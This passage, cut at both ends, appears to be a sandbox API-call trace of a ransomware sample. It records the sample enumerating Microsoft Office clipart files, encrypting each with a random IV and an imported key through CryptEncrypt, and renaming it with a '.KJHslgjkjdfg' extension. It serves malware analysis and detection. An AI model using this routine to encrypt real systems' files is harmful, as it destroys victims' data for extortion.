GetProcessHeap () returned 0x2ef0000 [0204.218] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.kjhslgjkjdfg")) returned 1 [0204.219] CloseHandle (hObject=0x130) returned 1 [0204.219] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1 [0204.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.221] GetProcessHeap () returned 0x2ef0000 [0204.221] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.221] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.221] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0204.224] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.224] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.224] GetProcessHeap () returned 0x2ef0000 [0204.224] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.224] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.224] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.224] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.224] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.224] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.224] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.225] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.225] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.225] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.225] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf36, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf36, lpOverlapped=0x0) returned 1 [0204.225] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf40, dwBufLen=0xf40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf40) returned 1 [0204.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.225] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf40, lpOverlapped=0x0) returned 1 [0204.225] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.225] SetEndOfFile (hFile=0x130) returned 1 [0204.228] GetProcessHeap () returned 0x2ef0000 [0204.228] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.228] GetProcessHeap () returned 0x2ef0000 [0204.228] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.228] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.kjhslgjkjdfg")) returned 1 [0204.229] CloseHandle (hObject=0x130) returned 1 [0204.229] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1 [0204.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.230] GetProcessHeap () returned 0x2ef0000 [0204.230] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.230] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.230] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0204.235] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.235] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.235] GetProcessHeap () returned 0x2ef0000 [0204.235] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.235] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.235] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.235] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.235] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.235] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.235] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.235] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.235] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.235] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.236] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa50e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa50e, lpOverlapped=0x0) returned 1 [0204.237] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa510, dwBufLen=0xa510 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa510) returned 1 [0204.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.238] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa510, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa510, lpOverlapped=0x0) returned 1 [0204.238] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.238] SetEndOfFile (hFile=0x130) returned 1 [0204.241] GetProcessHeap () returned 0x2ef0000 [0204.241] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.241] GetProcessHeap () returned 0x2ef0000 [0204.241] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.241] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.kjhslgjkjdfg")) returned 1 [0204.242] CloseHandle (hObject=0x130) returned 1 [0204.242] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1 [0204.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.243] GetProcessHeap () returned 0x2ef0000 [0204.243] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.260] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.260] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.262] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.262] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.262] GetProcessHeap () returned 0x2ef0000 [0204.262] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.262] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.262] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.262] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.262] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.263] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.263] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.263] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.263] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.263] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6e74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6e74, lpOverlapped=0x0) returned 1 [0204.264] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6e80, dwBufLen=0x6e80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6e80) returned 1 [0204.264] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.265] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6e80, lpOverlapped=0x0) returned 1 [0204.265] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.265] SetEndOfFile (hFile=0x130) returned 1 [0204.267] GetProcessHeap () returned 0x2ef0000 [0204.267] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.267] GetProcessHeap () returned 0x2ef0000 [0204.267] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.267] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.kjhslgjkjdfg")) returned 1 [0204.269] CloseHandle (hObject=0x130) returned 1 [0204.269] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1 [0204.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.273] GetProcessHeap () returned 0x2ef0000 [0204.273] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.273] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.273] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0204.279] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.279] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.279] GetProcessHeap () returned 0x2ef0000 [0204.279] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.279] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.279] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.279] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.279] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.279] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.279] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.280] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.280] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.280] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.280] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x180e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x180e, lpOverlapped=0x0) returned 1 [0204.281] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1810, dwBufLen=0x1810 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1810) returned 1 [0204.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.281] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1810, lpOverlapped=0x0) returned 1 [0204.281] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.281] SetEndOfFile (hFile=0x130) returned 1 [0204.284] GetProcessHeap () returned 0x2ef0000 [0204.284] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.284] GetProcessHeap () returned 0x2ef0000 [0204.284] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.284] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.kjhslgjkjdfg")) returned 1 [0204.286] CloseHandle (hObject=0x130) returned 1 [0204.286] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x0, 